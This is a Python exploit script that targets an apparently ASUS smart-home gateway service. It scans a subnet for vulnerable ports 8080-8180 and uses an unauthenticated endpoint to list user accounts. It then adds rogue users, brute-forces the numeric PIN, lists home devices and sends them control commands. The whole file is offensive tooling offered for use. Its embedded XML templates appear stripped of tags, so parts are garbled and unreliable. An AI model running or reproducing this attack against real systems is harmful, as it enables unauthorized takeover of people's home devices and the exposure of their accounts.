#!/usr/bin/env python3 import socket import requests import xml.etree.ElementTree as ET from DeviceInfo import * import hashlib requests.packages.urllib3.disable_warnings() class SmartHomeExploit(): def output(self, s): if self.v: print(s) def __init__(self, target, user=None ,new_user=None, pwd="0000",verbose=False): self.pwd = pwd self.target = target self.headers = {'Content-Type': 'text/xml'} if new_user: add_success = self.addUser(new_user) # select user if user: self.user = user elif new_user and add_success: self.user = new_user else: self.user = SmartHomeExploit.getFirstUser(self.target) self.v = verbose @staticmethod def getFirstUser(target): """ get first user from target Args: target (str): target ip and port (e.g. "192.168.0.1:8080") Returns: string: username (None => no user) """ e,users = SmartHomeExploit.getUsers(target) if e and len(users): return users[0] else: return None @staticmethod def getUsers(target): """ get all user from target Args: target (str): target protocol, ip and port (e.g. "http://192.168.0.1:8080") Returns: bool: True => exploitable, False => not exploitable list: user list """ try: target_url = "%s/smarthome/usergetinfo" % (target) response = requests.post(target_url,data="",timeout=5,headers={'Content-Type': 'text/xml'},verify=False) root = ET.fromstring(response.text) if root.tag == "usergetinfo": return True,list(map(lambda x:x.text,root.findall("userinfo/asusaccount"))) except Exception as e: return False,[] return False,[] @staticmethod def scanNetWorkPort(target, v=False, timeout=1000, scan_all=False): target_fmt = target + ".%d" result = [] for i in range(256): t = target_fmt % i if v:print("[INFO] scanning",t) ip_port = SmartHomeExploit.scanVulPort(t,timeout=timeout) if ip_port: if v:print("* FOUND : %s is exploitable. " % ip_port) if scan_all: result.append(ip_port) else: return [ip_port] return result @staticmethod def scanVulPort(target, v=False,timeout=1000): """ scan exploitable port(8080-8181) Args: target (str) : target ip (e.g. "192.168.0.1") verbose (bool): show verbose Returns: str: exploitable port and protocol (format : http://192.168.0.1:8080 , "" => not exploitable) """ for port in range(8080,8080+101): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout/1000) result = sock.connect_ex((target, port)) if result == 0: if SmartHomeExploit.checkVulService("http://%s:%s" % (target,port), v): return "http://%s:%s" % (target,port) if SmartHomeExploit.checkVulService("https://%s:%s" % (target,port), v): return "https://%s:%s" % (target,port) sock.close() except Exception as e: print("[ERROR]: scan error") return "" @staticmethod def checkVulService(target,v=False): """ scan exploitable service. Args: target (str) : target (e.g. "http://192.168.0.1:8080") verbose (bool): show verbose Returns: bool: is exploitable. """ e, users= SmartHomeExploit.getUsers(target) if v: print("[INFO] target : %s" % (target)) if e: if v: print("[INFO] ---------------------------") print("[INFO] # List account #") for account in users: print(" * " + account) print("[INFO] ---------------------------\n") return True else: if v: print(" > Not exploitable\n") return False def addUser(self, username): """ add a user to device Args: username (str): the name want to add Returns: bool: True => success """ xml = """ %s %s %s %s %s 0 A A 1 1 1 1 """ % (username, username, "password", hashlib.md5(username.encode("utf-8")).hexdigest(), self.pwd) try: target_url = "%s/smarthome/useradd" % (self.target) self.output(xml + "\n") response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False) self.output(response.text) root = ET.fromstring(response.text) if root.tag == "useradd" and root.find("resultcode").text == "0": return True except Exception as e: return False return False def forceAddUser(self, name): """ brute force the password, and add a user to device. Args: username (str): the name want to add Returns: bool: True => success """ for i in range(4,7): max = 10**i for j in range(0,max): pwd = ("%%0%dd" % 4) % j self.output(pwd) self.pwd = pwd if self.addUser(name): print("password = %s" % self.pwd) return True if j % 100 == 0: print("test pwd: %s" % (self.pwd[:2]+"XX")) return False def listDeviceInfo(self): """ list all device Returns: list of dict: (None=>Error) int: deviceid str: devicename str: type str: value """ xml = """ %s """ % self.user try: target_url = "%s/smarthome/devicegetinfo" % (self.target) self.output(xml + "\n") response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False) root = ET.fromstring(response.text) self.output(response.text) if root.tag == "devicegetinfo" and root.find("resultcode").text == "0": l = [] for i in root.findall("deviceinfo"): l.append(parseDeviceInfo(i)) return l except Exception as e: return None return None @staticmethod def printDevice(status): """ print device status (deviceStatus) Args: status (dict): device status dict (get from deviceStatus). """ if status and ('deviceid' and 'devicename' and 'type' and 'value' in status): print("[*] Device status") print(" > deviceid : %s" % status['deviceid']) print(" > devicename : %s" % status['devicename']) print(" > type : %s" % status['type']) print(" > value : %s" % status['value']) else: print("[ERROR] format error!") def deviceStatus(self, id): """ show device status by device_id. Args: id (int): device id (get from listDeviceInfo). Returns: dict: (None=>Error) int: deviceid str: devicename str: type str: value """ xml = """ %s %s """ % (self.user , id) try: target_url = "%s/smarthome/devicegetinfo" % (self.target) self.output(xml + "\n") response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False) self.output(response.text) root = ET.fromstring(response.text) if root.tag == "devicegetinfo" and root.find("resultcode").text == "0": xml = root.find("deviceinfo") return parseDeviceInfo(xml) except Exception as e: return None return None def getCtrlClusterid(self, id): return device_ctrl[self.deviceStatus(id)['type']] def deviceControl(self, id, value): """ control device Args: id (int): device id value: The value you want to set Returns: bool: True => success """ try: xml = """ %s %s %s %s """ % (self.user, id, self.getCtrlClusterid(id), value) target_url = "%s/smarthome/devicecontrol" % (self.target) self.output(xml + "\n") response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False) self.output(response.text) root = ET.fromstring(response.text) if root.tag == "devicecontrol" and root.find("resultcode").text == "0": return True except Exception as e: import traceback print("ERROR : ") traceback.print_exc() return False return False